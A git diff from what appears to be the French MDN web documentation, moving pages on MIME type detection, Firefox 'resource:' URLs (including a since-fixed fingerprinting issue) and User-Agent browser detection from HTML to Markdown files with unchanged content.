+Content-Range: bytes 300-400/1270
+
+-color: #f0f0f2;
+        margin: 0;
+        padding: 0;
+        font-family: "Open Sans", "Helvetica
+--3d6b6a416f9b5--
+ +

De l'importance de définir correctement un type MIME

+ +

La plupart des serveurs envoient des ressources de format inconnu et donc utilisent le type par défaut application/octet-stream. Pour des considérations de sécurité, les navigateurs n'effectuent pas d'action par défaut pour les ressources de ce type, ce qui oblige l'utilisateur à stocker le fichier sur son dique pour l'utiliser. Voici les erreurs communes de configuration côté serveur pour les formats suivants :

+ + + +

Détection de type MIME

+ +

Lorsque le type MIME est absent ou lorsque le client détecte que le type MIME a été mal associé, les navigateurs peuvent pratiquer la détection de type MIME via l'analyse de la ressource. Chaque navigateur implémente cette technique différemment et l'utilise dans des contextes différents. Il existe des problématiques de sécurité, étant donné que certaines ressources sont des fichiers exécutables et d'autres non. Les serveurs peuvent empêcher la détection de type MIME par le navigateur en envoyant l'en-tête {{HTTPHeader("X-Content-Type-Options")}} associé à {{HTTPHeader("Content-Type")}}.

+ +

Autres méthodes pour transporter le format d'un document

+ +

Les types MIME ne sont pas la seule façon existante pour gérer le format d'un document :

+ + + +

Voir aussi

+ + diff --git a/files/fr/web/http/basics_of_http/resource_urls/index.html b/files/fr/web/http/basics_of_http/resource_urls/index.html deleted file mode 100644 index 62e578b91a..0000000000 --- a/files/fr/web/http/basics_of_http/resource_urls/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: URLs de type ressource -slug: Web/HTTP/Basics_of_HTTP/Resource_URLs -tags: - - Guide - - HTTP - - Intermédiaire - - Ressource -translation_of: Web/HTTP/Basics_of_HTTP/Resource_URLs -original_slug: Web/HTTP/Basics_of_HTTP/URLs_de_type_ressource ---- -
{{HTTPSidebar}}
- -

Les URLs de type ressource sont les URLs préfixées à l'aide du schéma resource:. Elles sont utilisées par Firefox ainsi que les modules complémentaires pour charger des ressources de manière interne, néanmoins, certaines informations associées sont disponibles pour les sites auxquels le navigateur accède.

- -

Syntaxe

- -

Les URLs de type ressource sont composées de deux parties, un préfixe (resource:) et l'URL qui dirige vers la ressource que l'on souhaite charger :

- -
resource://<url>
- -

Voici un exemple :

- -
resource://gre/res/svg.css
- -

Pour plus de détails, vous pouvez consulter Identifier des ressources sur le Web.

- -

Dans cet article, nous abordons les URIs ressources qui sont utilisées par Firefox pour pointer vers des ressources internes.

- -

Menaces

- -

Étant donné que les informations partagées par les URLs resource: sont accessibles par les sites web, une page web pourrait être en mesure d'exécuter un script pour inspecter les ressources internes à Firefox telles que les préférences par défaut, ce qui pourrait constituer un problème important de confidentialité et de sécurité.

- -

Par exemple, ce script sur Browserleaks détaille les éléments accessibles de Firefox lorsque l'on appelle l'URL ressource. Le code de ce script est accessible à l'adresse https://browserleaks.com/firefox#more.

- -

Le fichier firefox.js passe les noms des préférences et leurs valeurs à la fonction pref().

- -

Les sites web peuvent aisément récupérer les préférences par défaut de Firefox en contournant la fonction pref() et en utilisant le script resource:///defaults/preferences/firefox.js.

- -

De plus, certaines valeurs par défaut diffèrent selon les versions ou les installations, parmi lesquelles le système d'exploitation ou la langue d'utilisation, il est donc possible d'identifier les utilisateurs de manière distincte.

- -

Solution

- -

Afin de résoudre ce problème, Mozilla a modifié le comportement du chargement des URLs ressource via {{bug(863246)}}, rendu disponible à partir de Firefox 57 (Quantum).

- -

Auparavant, les sites web étaient capables d'accéder à n'importe quelle URI resource:, celles de Firefox mais aussi celles des modules complémentaires. Ce comportement est désormais interdit par défaut.

- -

Firefox nécessite néanmoins le chargement des ressources au sein d'un contenu web dans certains cas. Ainsi lorsque l'on souhaite accéder au code source d'une page à l'aide de "Code source de la page", un appel à viewsource.css via une URI resource: est nécessaire. Les ressources auxquelles le contenu web a besoin d'accéder ont été déplacées sous resource://content-accessible/, une partie isolée et ne contenant que des ressources n'étant pas confidentielles. De cette manière, il est possible d'exposer des ressources tout en réduisant la plupart des menaces.

- -
-

Note : Il est recommandé de ne plus utiliser les URLs de type ressource lors du développement web ou de celui d'un module. Leur utilisation était peu fiable et la plupart ne fonctionnent plus.

-
- -

Spécifications

- -

resource: n'est pas défini dans une spécification RFC.

- -

Compatibilité des navigateurs

- -

resource: est disponible uniquement dans Firefox.

- -

Voir aussi

- - diff --git a/files/fr/web/http/basics_of_http/resource_urls/index.md b/files/fr/web/http/basics_of_http/resource_urls/index.md new file mode 100644 index 0000000000..62e578b91a --- /dev/null +++ b/files/fr/web/http/basics_of_http/resource_urls/index.md @@ -0,0 +1,68 @@ +--- +title: URLs de type ressource +slug: Web/HTTP/Basics_of_HTTP/Resource_URLs +tags: + - Guide + - HTTP + - Intermédiaire + - Ressource +translation_of: Web/HTTP/Basics_of_HTTP/Resource_URLs +original_slug: Web/HTTP/Basics_of_HTTP/URLs_de_type_ressource +--- +
{{HTTPSidebar}}
+ +

Les URLs de type ressource sont les URLs préfixées à l'aide du schéma resource:. Elles sont utilisées par Firefox ainsi que les modules complémentaires pour charger des ressources de manière interne, néanmoins, certaines informations associées sont disponibles pour les sites auxquels le navigateur accède.

+ +

Syntaxe

+ +

Les URLs de type ressource sont composées de deux parties, un préfixe (resource:) et l'URL qui dirige vers la ressource que l'on souhaite charger :

+ +
resource://<url>
+ +

Voici un exemple :

+ +
resource://gre/res/svg.css
+ +

Pour plus de détails, vous pouvez consulter Identifier des ressources sur le Web.

+ +

Dans cet article, nous abordons les URIs ressources qui sont utilisées par Firefox pour pointer vers des ressources internes.

+ +

Menaces

+ +

Étant donné que les informations partagées par les URLs resource: sont accessibles par les sites web, une page web pourrait être en mesure d'exécuter un script pour inspecter les ressources internes à Firefox telles que les préférences par défaut, ce qui pourrait constituer un problème important de confidentialité et de sécurité.

+ +

Par exemple, ce script sur Browserleaks détaille les éléments accessibles de Firefox lorsque l'on appelle l'URL ressource. Le code de ce script est accessible à l'adresse https://browserleaks.com/firefox#more.

+ +

Le fichier firefox.js passe les noms des préférences et leurs valeurs à la fonction pref().

+ +

Les sites web peuvent aisément récupérer les préférences par défaut de Firefox en contournant la fonction pref() et en utilisant le script resource:///defaults/preferences/firefox.js.

+ +

De plus, certaines valeurs par défaut diffèrent selon les versions ou les installations, parmi lesquelles le système d'exploitation ou la langue d'utilisation, il est donc possible d'identifier les utilisateurs de manière distincte.

+ +

Solution

+ +

Afin de résoudre ce problème, Mozilla a modifié le comportement du chargement des URLs ressource via {{bug(863246)}}, rendu disponible à partir de Firefox 57 (Quantum).

+ +

Auparavant, les sites web étaient capables d'accéder à n'importe quelle URI resource:, celles de Firefox mais aussi celles des modules complémentaires. Ce comportement est désormais interdit par défaut.

+ +

Firefox nécessite néanmoins le chargement des ressources au sein d'un contenu web dans certains cas. Ainsi lorsque l'on souhaite accéder au code source d'une page à l'aide de "Code source de la page", un appel à viewsource.css via une URI resource: est nécessaire. Les ressources auxquelles le contenu web a besoin d'accéder ont été déplacées sous resource://content-accessible/, une partie isolée et ne contenant que des ressources n'étant pas confidentielles. De cette manière, il est possible d'exposer des ressources tout en réduisant la plupart des menaces.

+ +
+

Note : Il est recommandé de ne plus utiliser les URLs de type ressource lors du développement web ou de celui d'un module. Leur utilisation était peu fiable et la plupart ne fonctionnent plus.

+
+ +

Spécifications

+ +

resource: n'est pas défini dans une spécification RFC.

+ +

Compatibilité des navigateurs

+ +

resource: est disponible uniquement dans Firefox.

+ +

Voir aussi

+ + diff --git a/files/fr/web/http/browser_detection_using_the_user_agent/index.html b/files/fr/web/http/browser_detection_using_the_user_agent/index.html deleted file mode 100644 index 072103ebd8..0000000000 --- a/files/fr/web/http/browser_detection_using_the_user_agent/index.html +++ /dev/null @@ -1,240 +0,0 @@ ---- -title: Détection du navigateur à l'aide du User-Agent -slug: Web/HTTP/Browser_detection_using_the_user_agent -tags: - - Compatibilité - - Développement Web -translation_of: Web/HTTP/Browser_detection_using_the_user_agent -original_slug: Web/HTTP/Detection_du_navigateur_en_utilisant_le_user_agent ---- -
{{HTTPSidebar}}
- -

Afficher des pages web ou des services en fonction du navigateur est généralement une mauvaise idée. Le Web se doit d'être accessible à tout le monde, sans prendre en compte le navigateur ou l'appareil utilisé. Il existe différentes façons de développer votre site web afin de l'améliorer progressivement en se basant sur des fonctionnalités standard plutôt qu'en traitant chaque navigateur de manière spécifique.

- -

Les navigateurs et les standards ne sont cependant pas parfaits, il reste certains cas limites pour lesquels connaître le navigateur utilisé peut s'avérer utile. Utiliser le User-Agent dans ce but paraît simple mais le faire de manière fiable est en réalité très difficile. Ce document va vous guider pour lire le User-Agent aussi précisément que possible.

- -
-

Note : Il est important de rappeler que contrôler le contenu du User-Agent est rarement une bonne idée. Il est presque toujours possible de trouver une solution plus générique et compatible avec un plus grand nombre de navigateurs et d'appareils !

-
- -

A prendre en compte avant d'identifier le navigateur

- -

Lorsque vous cherchez à contrôler le contenu de la chaîne de caractères User-Agent pour détecter le navigateur utilisé, la première étape consiste à éviter cette méthode autant que possible. Commencez par identifier pourquoi vous souhaitez le faire.

- -
-
Êtes-vous en train d'essayer de corriger un bug pour une version spécifique d'un navigateur ?
-
Recherchez ou demandez sur les forums spécialisés : vous n'êtes certainement pas le premier à rencontrer le problème. Des experts ou d'autres personnes avec un point de vue différent peuvent vous donner des idées pour contourner le problème. Si le bug n'est pas fréquent, il peut être utile de vérifier s'il a déjà été signalé au fournisseur du navigateur dans son système de suivi des bugs (Mozilla, WebKit, Opera). Les fournisseurs sont attentifs aux bugs signalés, leur analyse du problème peut apporter un éclairage nouveau permettant de contourner le bug.
-
Cherchez-vous à vérifier l'existence d'une fonctionnalité particulière ?
-
Votre site a besoin d'une fonctionnalité qui n'est pas encore supportée par certains navigateurs et vous souhaitez servir à leurs utilisateurs une version plus ancienne du site, avec moins de fonctionnalités mais dont vous êtes certain qu'elle va fonctionner. Il s'agit de la pire raison de détecter le User-Agent car il y a de grandes chances que ces navigateurs finissent par rattraper leur retard. Dans ce cas, le mieux est d'éviter de recourir au User-Agent et de détecter les fonctionnalités disponibles.
-
- -
-
Voulez-vous servir un code HTML différent selon le navigateur utilisé ?
-
Il s'agit généralement d'une mauvaise pratique mais nécessaire dans certains cas. Vous devez alors analyser la situation pour vous assurer que c'est absolument nécessaire. Pouvez-vous l'éviter en ajoutant des éléments non sémantiques tels que {{ HTMLElement("div") }} ou {{ HTMLElement("span") }} ? La difficulté à détecter le User-Agent justifie des exceptions à la pureté du code HTML. Vous pouvez aussi repenser le design : pouvez-vous plutôt utiliser l'amélioration progressives ou utiliser une grille fluide pour éviter d'avoir recours au User-Agent ?
-
- -

Éviter de détecter l'agent utilisateur

- -

Il existe des options possibles à considérer pour éviter d'avoir à détecter l'agent utilisateur.

- -
-
Détection de fonctionnalités
-
La détection de fonctionnalités consiste à ne pas détecter quel navigateur affiche la page mais plutôt à vérifier qu'une fonctionnalité est disponible. Dans le cas contraire vous pouvez utiliser une solution de contournement. Cependant, n'utilisez pas la détection de fonctionnalité dans les rares cas où la détection de l'agent utilisateur est utile car les autres navigateurs pourraient dans le futur implémenter la fonctionnalité manquante d'une manière différente. Il pourrait en résulter des bugs particulièrement difficiles à détecter et à corriger.
-
Amélioration progressive
-
Cette technique de design signifie séparer la page web en couches, en utilisant une approche ascendante (ou bottom-up), en commençant par une couche simple (avec peu ou pas de fonctionnalités) puis en améliorant les capacités par couches successives, chacune comportant plus de fonctionnalités.
-
Dégradation élégante
-
Il s'agit d'une approche descendante (ou top-down), avec laquelle on construit le site avec toutes les fonctionalités souhaitées, pour ensuite le faire fonctionner sur des navigateurs plus anciens. Cette technique est plus difficile et moins efficace que l'amélioration progressive mais s'avère utile dans certains cas.
-
- -

Où se trouve l'information recherchée dans le User-Agent

- -

C'est la partie difficile, puisque les différentes sections de la chaîne User-Agent ne sont pas standardisées.

- -

Nom du navigateur

- -

Souvent ceux qui disent vouloir détecter le navigateur veulent en fait détecter le moteur de rendu. Souhaitez-vous détecter Firefox et non Seamonkey, ou Chrome et non Chromium ? Ou seulement savoir si le navigateur utilise le moteur de rendu Gecko ou Webkit ? Dans ce dernier cas, réferrez vous plus bas dans cette page.

- -

La plupart des navigateurs notent leur nom et version suivant le format NomDuNavigateur/NuméroDeVersion, à l'exception notable d'Internet Explorer. Le nom n'est cependant pas la seule information du User-Agent qui respecte ce format, il n'est donc pas possible d'y trouver directement le nom du navigateur, seulement de vérifier si le nom recherché est présent ou non. Attention certains navigateurs mentent : par exemple, Chrome mentionne à la fois Chrome et Safari dans le User-Agent. Pour détecter Safari il faut donc vérifier que la chaîne "Safari" est présente et "Chrome" est absent. De la même façon, Chromium se présente souvent comme Chrome et Seamonkey comme Firefox.

- -

Faites aussi attention à ne pas utiliser une expression régulière trop simple sur le nom du navigateur car le User-Agent contient d'autres chaînes de caractères ne respectant pas le format clé/valeur. Par exemple, le User-Agent de Safari et Chrome contient une chaîne "like Gecko".

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
MoteurDoit contenirNe doit pas contenirNotes
FirefoxFirefox/xyzSeamonkey/xyz 
SeamonkeySeamonkey/xyz  
ChromeChrome/xyzChromium/xyz 
ChromiumChromium/xyz  
SafariSafari/xyzChrome/xyz ou Chromium/xyzSafari donne deux numéros de version, l'un technique au format Safari/xyz, l'autre plus convivial su format Version/xyz
Opera -

OPR/xyz>

- -

Opera/xyz

- 		  -

Opera 15+ (moteur de rendu Blink)

- -

Opera 12- (moteur de rendu Presto)

-
Internet Explorer;MSIE xyz; Internet Explorer n'utilise pas le format NomDuNavigateur/NuméroDeVersion
- -

Il n'y a évidemment aucune garantie qu'aucun autre navigateur ne va utiliser ces notations (comme Chrome qui mentionne "Safari" dans son User-Agent). C'est pourquoi la détection du navigateur par ce moyen n'est pas fiable et ne doit être fait qu'en vérifiant aussi le numéro de version (il est peu probable qu'un navigateur mentionne dans son User-Agent le nom d'un autre navigateur dans une version plus ancienne).

- -

Version du navigateur

- -

La version du navigateur est souvent, mais pas toujours, écrite dans la valeur d'un ensemble clé/valeur NomDuNavigateur/NuméroDeVersion dans la chaîne de caractères du User-Agent. Ce n'est pas le cas d'Internet Explorer (qui écrit son numéro de version juste après la chaîne "MSIE"), et d'Opera après la version 10, qui ajoute une section Version/NuméroDeVersion.

- -

Encore une fois, assurez vous de regarder au bon endroit selon le navigateur visé car il n'y a aucune garantie de trouver un numéro de version valide dans le reste du User-Agent.

- -

Moteur de rendu

- -

Comme indiqué plus haut, chercher le nom du moteur de recherche est la plupart du temps la meilleure solution. Cela permet de ne pas exclure des navigateurs peu connus basés sur le même moteur de rendu qu'un autre plus connu. Les navigateurs qui utilisent le même moteur de rendu affichent les pages de la même façon : on peut partir du principe que ce qui va fonctionner avec l'un fonctionnera avec l'autre.

- -

Il y a cinq principaux moteurs de rendu : Trident, Gecko, Presto, Blink et Webkit. Puisque détecter le nom du moteur de rendu est courant, d'autres noms sont ajoutés dans beaucoup d'autres User-Agents. Il est donc important de faire attention aux faux positifs lorsqu'on cherche à détecter le moteur de rendu.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
MoteurDoit contenirNe doit pas contenir
GeckoGecko/xyz 
WebKitAppleWebKit/xyzAttention : les navigateurs qui utilisent Webkit ajoutent "like Gecko", ce qui peut déclencher de faux positifs
PrestoOpera/xyzNote : Presto n'est plus utilisé par Opera pour les versions >= 15 (voir "Blink")
TridentTrident/xyzInternet Explorer place cette chaîne dans la partie commentaire du User-Agent
BlinkChrome/xyz 
- -

Version du moteur de rendu

- -

La plupart des moteurs de rendu placent leur numéro de version dans la section MoteurDeRendu/NuméroDeVersion, à l'exception notable de Gecko. Gecko place le numéro de version dans la partie commentaire après la chaîne rv:. Depuis la version 14 pour mobile et 17 pour les ordinateurs, il pace aussi cette valeur dans la section Gecko/version (les versions précédentes y plaçaient la date de compilation, puis une date fixe appelée "Gecko Trail").

- -

Système d'Exploitation

- -

Le système d'exploitation est dans la plupart des cas donné dans le User-Agent (il n'est pas donné dans des systèmes orientés web tels que Firefox OS) mais sous un format très variable. C'est une chaîne encadrée par des point-virgules, dans la partie commentaire du User-Agent. Cette chaîne est spécifique à chaque navigateur. Elle indique le nom du système d'exploitation et souvent sa version et des informations sur le matériel (32 ou 64 bits, ou Intel/PPC pour Mac).

- -

Comme pour le reste, ces chaînes peuvent changer dans le futur, elles doivent seulement être utilisées en conjonction avec la détection de navigateurs existants. Une veille technologique doit s'effectuer pour adapter le script de détection lorsque de nouvelles versions des navigateurs sortent.

- -

Mobile, tablette ou ordinateur

- -

La raison la plus courante de détecter le User-Agent et de déterminer sur quel type d'appareil fonctionne le navigateur. Le but est de servir un code HTML différent selon le type d'appareil.

- - - -

Le tableau suivant résume de quelle façon les principaux navigateurs indiquent qu'ils fonctionnent sur un appareil mobile :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
User Agent des navigateurs courants
NavigateurRègleExemple
Mozilla (Gecko, Firefox)Chaîne Mobile ou Tablet dans le commentaireMozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0
Basé sur WebKit (Android, Safari)Chaîne Mobile Safari hors du commentaireMozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Basé sur Blink (Chromium, Google Chrome, Opera 15+)Chaîne Mobile Safari token hors du commentaireMozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047
Basé sur Presto (Opera 12-) -

Chaîne Opera Mobi/xyz dans le commentaire (Opera 12-)

- 		-

Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50

-
Internet ExplorerChaîne IEMobile/xyz dans le commentaireMozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)
- -

En résumé, nous recommandons de chercher la chaîne "Mobi" dans le User-Agent pour détecter un appareil mobile.

- -

{{note("Si l'appareil est suffisamment grand pour ne pas être indiqué “Mobi“, il est préférable de servir la version du site pour ordinateur. De toute manière, supporter les interactions tactiles pour un site “pour ordinateur“ est une bonne pratique. En effet, de plus en plus d'ordinateurs sont équipés d'écrans tactiles.")}}

diff --git a/files/fr/web/http/browser_detection_using_the_user_agent/index.md b/files/fr/web/http/browser_detection_using_the_user_agent/index.md new file mode 100644 index 0000000000..072103ebd8 --- /dev/null +++ b/files/fr/web/http/browser_detection_using_the_user_agent/index.md @@ -0,0 +1,240 @@ +--- +title: Détection du navigateur à l'aide du User-Agent +slug: Web/HTTP/Browser_detection_using_the_user_agent +tags: + - Compatibilité + - Développement Web +translation_of: Web/HTTP/Browser_detection_using_the_user_agent +original_slug: Web/HTTP/Detection_du_navigateur_en_utilisant_le_user_agent +--- +
{{HTTPSidebar}}
+ +

Afficher des pages web ou des services en fonction du navigateur est généralement une mauvaise idée. Le Web se doit d'être accessible à tout le monde, sans prendre en compte le navigateur ou l'appareil utilisé. Il existe différentes façons de développer votre site web afin de l'améliorer progressivement en se basant sur des fonctionnalités standard plutôt qu'en traitant chaque navigateur de manière spécifique.

+ +

Les navigateurs et les standards ne sont cependant pas parfaits, il reste certains cas limites pour lesquels connaître le navigateur utilisé peut s'avérer utile. Utiliser le User-Agent dans ce but paraît simple mais le faire de manière fiable est en réalité très difficile. Ce document va vous guider pour lire le User-Agent aussi précisément que possible.

+ +
+

Note : Il est important de rappeler que contrôler le contenu du User-Agent est rarement une bonne idée. Il est presque toujours possible de trouver une solution plus générique et compatible avec un plus grand nombre de navigateurs et d'appareils !

+
+ +

A prendre en compte avant d'identifier le navigateur

+ +

Lorsque vous cherchez à contrôler le contenu de la chaîne de caractères User-Agent pour détecter le navigateur utilisé, la première étape consiste à éviter cette méthode autant que possible. Commencez par identifier pourquoi vous souhaitez le faire.

+ +
+
Êtes-vous en train d'essayer de corriger un bug pour une version spécifique d'un navigateur ?
+
Recherchez ou demandez sur les forums spécialisés : vous n'êtes certainement pas le premier à rencontrer le problème. Des experts ou d'autres personnes avec un point de vue différent peuvent vous donner des idées pour contourner le problème. Si le bug n'est pas fréquent, il peut être utile de vérifier s'il a déjà été signalé au fournisseur du navigateur dans son système de suivi des bugs (Mozilla, WebKit, Opera). Les fournisseurs sont attentifs aux bugs signalés, leur analyse du problème peut apporter un éclairage nouveau permettant de contourner le bug.
+
Cherchez-vous à vérifier l'existence d'une fonctionnalité particulière ?
+
Votre site a besoin d'une fonctionnalité qui n'est pas encore supportée par certains navigateurs et vous souhaitez servir à leurs utilisateurs une version plus ancienne du site, avec moins de fonctionnalités mais dont vous êtes certain qu'elle va fonctionner. Il s'agit de la pire raison de détecter le User-Agent car il y a de grandes chances que ces navigateurs finissent par rattraper leur retard. Dans ce cas, le mieux est d'éviter de recourir au User-Agent et de détecter les fonctionnalités disponibles.
+
+ +
+
Voulez-vous servir un code HTML différent selon le navigateur utilisé ?
+
Il s'agit généralement d'une mauvaise pratique mais nécessaire dans certains cas. Vous devez alors analyser la situation pour vous assurer que c'est absolument nécessaire. Pouvez-vous l'éviter en ajoutant des éléments non sémantiques tels que {{ HTMLElement("div") }} ou {{ HTMLElement("span") }} ? La difficulté à détecter le User-Agent justifie des exceptions à la pureté du code HTML. Vous pouvez aussi repenser le design : pouvez-vous plutôt utiliser l'amélioration progressives ou utiliser une grille fluide pour éviter d'avoir recours au User-Agent ?
+
+ +

Éviter de détecter l'agent utilisateur

+ +

Il existe des options possibles à considérer pour éviter d'avoir à détecter l'agent utilisateur.

+ +
+
Détection de fonctionnalités
+
La détection de fonctionnalités consiste à ne pas détecter quel navigateur affiche la page mais plutôt à vérifier qu'une fonctionnalité est disponible. Dans le cas contraire vous pouvez utiliser une solution de contournement. Cependant, n'utilisez pas la détection de fonctionnalité dans les rares cas où la détection de l'agent utilisateur est utile car les autres navigateurs pourraient dans le futur implémenter la fonctionnalité manquante d'une manière différente. Il pourrait en résulter des bugs particulièrement difficiles à détecter et à corriger.
+
Amélioration progressive
+
Cette technique de design signifie séparer la page web en couches, en utilisant une approche ascendante (ou bottom-up), en commençant par une couche simple (avec peu ou pas de fonctionnalités) puis en améliorant les capacités par couches successives, chacune comportant plus de fonctionnalités.
+
Dégradation élégante
+
Il s'agit d'une approche descendante (ou top-down), avec laquelle on construit le site avec toutes les fonctionalités souhaitées, pour ensuite le faire fonctionner sur des navigateurs plus anciens. Cette technique est plus difficile et moins efficace que l'amélioration progressive mais s'avère utile dans certains cas.
+
+ +

Où se trouve l'information recherchée dans le User-Agent

+ +

C'est la partie difficile, puisque les différentes sections de la chaîne User-Agent ne sont pas standardisées.

+ +

Nom du navigateur

+ +

Souvent ceux qui disent vouloir détecter le navigateur veulent en fait détecter le moteur de rendu. Souhaitez-vous détecter Firefox et non Seamonkey, ou Chrome et non Chromium ? Ou seulement savoir si le navigateur utilise le moteur de rendu Gecko ou Webkit ? Dans ce dernier cas, réferrez vous plus bas dans cette page.

+ +

La plupart des navigateurs notent leur nom et version suivant le format NomDuNavigateur/NuméroDeVersion, à l'exception notable d'Internet Explorer. Le nom n'est cependant pas la seule information du User-Agent qui respecte ce format, il n'est donc pas possible d'y trouver directement le nom du navigateur, seulement de vérifier si le nom recherché est présent ou non. Attention certains navigateurs mentent : par exemple, Chrome mentionne à la fois Chrome et Safari dans le User-Agent. Pour détecter Safari il faut donc vérifier que la chaîne "Safari" est présente et "Chrome" est absent. De la même façon, Chromium se présente souvent comme Chrome et Seamonkey comme Firefox.

+ +

Faites aussi attention à ne pas utiliser une expression régulière trop simple sur le nom du navigateur car le User-Agent contient d'autres chaînes de caractères ne respectant pas le format clé/valeur. Par exemple, le User-Agent de Safari et Chrome contient une chaîne "like Gecko".

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MoteurDoit contenirNe doit pas contenirNotes
FirefoxFirefox/xyzSeamonkey/xyz 
SeamonkeySeamonkey/xyz  
ChromeChrome/xyzChromium/xyz 
ChromiumChromium/xyz  
SafariSafari/xyzChrome/xyz ou Chromium/xyzSafari donne deux numéros de version, l'un technique au format Safari/xyz, l'autre plus convivial su format Version/xyz
Opera +

OPR/xyz>

+ +

Opera/xyz

+ 		  +

Opera 15+ (moteur de rendu Blink)

+ +

Opera 12- (moteur de rendu Presto)

+
Internet Explorer;MSIE xyz; Internet Explorer n'utilise pas le format NomDuNavigateur/NuméroDeVersion
+ +

Il n'y a évidemment aucune garantie qu'aucun autre navigateur ne va utiliser ces notations (comme Chrome qui mentionne "Safari" dans son User-Agent). C'est pourquoi la détection du navigateur par ce moyen n'est pas fiable et ne doit être fait qu'en vérifiant aussi le numéro de version (il est peu probable qu'un navigateur mentionne dans son User-Agent le nom d'un autre navigateur dans une version plus ancienne).

+ +

Version du navigateur

+ +

La version du navigateur est souvent, mais pas toujours, écrite dans la valeur d'un ensemble clé/valeur NomDuNavigateur/NuméroDeVersion dans la chaîne de caractères du User-Agent. Ce n'est pas le cas d'Internet Explorer (qui écrit son numéro de version juste après la chaîne "MSIE"), et d'Opera après la version 10, qui ajoute une section Version/NuméroDeVersion.

+ +

Encore une fois, assurez vous de regarder au bon endroit selon le navigateur visé car il n'y a aucune garantie de trouver un numéro de version valide dans le reste du User-Agent.

+ +

Moteur de rendu

+ +

Comme indiqué plus haut, chercher le nom du moteur de recherche est la plupart du temps la meilleure solution. Cela permet de ne pas exclure des navigateurs peu connus basés sur le même moteur de rendu qu'un autre plus connu. Les navigateurs qui utilisent le même moteur de rendu affichent les pages de la même façon : on peut partir du principe que ce qui va fonctionner avec l'un fonctionnera avec l'autre.

+ +

Il y a cinq principaux moteurs de rendu : Trident, Gecko, Presto, Blink et Webkit. Puisque détecter le nom du moteur de rendu est courant, d'autres noms sont ajoutés dans beaucoup d'autres User-Agents. Il est donc important de faire attention aux faux positifs lorsqu'on cherche à détecter le moteur de rendu.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
MoteurDoit contenirNe doit pas contenir
GeckoGecko/xyz 
WebKitAppleWebKit/xyzAttention : les navigateurs qui utilisent Webkit ajoutent "like Gecko", ce qui peut déclencher de faux positifs
PrestoOpera/xyzNote : Presto n'est plus utilisé par Opera pour les versions >= 15 (voir "Blink")
TridentTrident/xyzInternet Explorer place cette chaîne dans la partie commentaire du User-Agent
BlinkChrome/xyz 
+ +

Version du moteur de rendu

+ +

La plupart des moteurs de rendu placent leur numéro de version dans la section MoteurDeRendu/NuméroDeVersion, à l'exception notable de Gecko. Gecko place le numéro de version dans la partie commentaire après la chaîne rv:. Depuis la version 14 pour mobile et 17 pour les ordinateurs, il pace aussi cette valeur dans la section Gecko/version (les versions précédentes y plaçaient la date de compilation, puis une date fixe appelée "Gecko Trail").

+ +

Système d'Exploitation

+ +

Le système d'exploitation est dans la plupart des cas donné dans le User-Agent (il n'est pas donné dans des systèmes orientés web tels que Firefox OS) mais sous un format très variable. C'est une chaîne encadrée par des point-virgules, dans la partie commentaire du User-Agent. Cette chaîne est spécifique à chaque navigateur. Elle indique le nom du système d'exploitation et souvent sa version et des informations sur le matériel (32 ou 64 bits, ou Intel/PPC pour Mac).

+ +

Comme pour le reste, ces chaînes peuvent changer dans le futur, elles doivent seulement être utilisées en conjonction avec la détection de navigateurs existants. Une veille technologique doit s'effectuer pour adapter le script de détection lorsque de nouvelles versions des navigateurs sortent.

+ +

Mobile, tablette ou ordinateur

+ +

La raison la plus courante de détecter le User-Agent et de déterminer sur quel type d'appareil fonctionne le navigateur. Le but est de servir un code HTML différent selon le type d'appareil.

+ + + +

Le tableau suivant résume de quelle façon les principaux navigateurs indiquent qu'ils fonctionnent sur un appareil mobile :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
User Agent des navigateurs courants
NavigateurRègleExemple
Mozilla (Gecko, Firefox)Chaîne Mobile ou Tablet dans le commentaireMozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0
Basé sur WebKit (Android, Safari)Chaîne Mobile Safari hors du commentaireMozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Basé sur Blink (Chromium, Google Chrome, Opera 15+)Chaîne Mobile Safari token hors du commentaireMozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047
Basé sur Presto (Opera 12-) +

Chaîne Opera Mobi/xyz dans le commentaire (Opera 12-)

+ 		+

Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50

+
Internet ExplorerChaîne IEMobile/xyz dans le commentaireMozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)
+ +

En résumé, nous recommandons de chercher la chaîne "Mobi" dans le User-Agent pour détecter un appareil mobile.

+ +

{{note("Si l'appareil est suffisamment grand pour ne pas être indiqué “Mobi“, il est préférable de servir la version du site pour ordinateur. De toute manière, supporter les interactions tactiles pour un site “pour ordinateur“ est une bonne pratique. En effet, de plus en plus d'ordinateurs sont équipés d'écrans tactiles.")}}

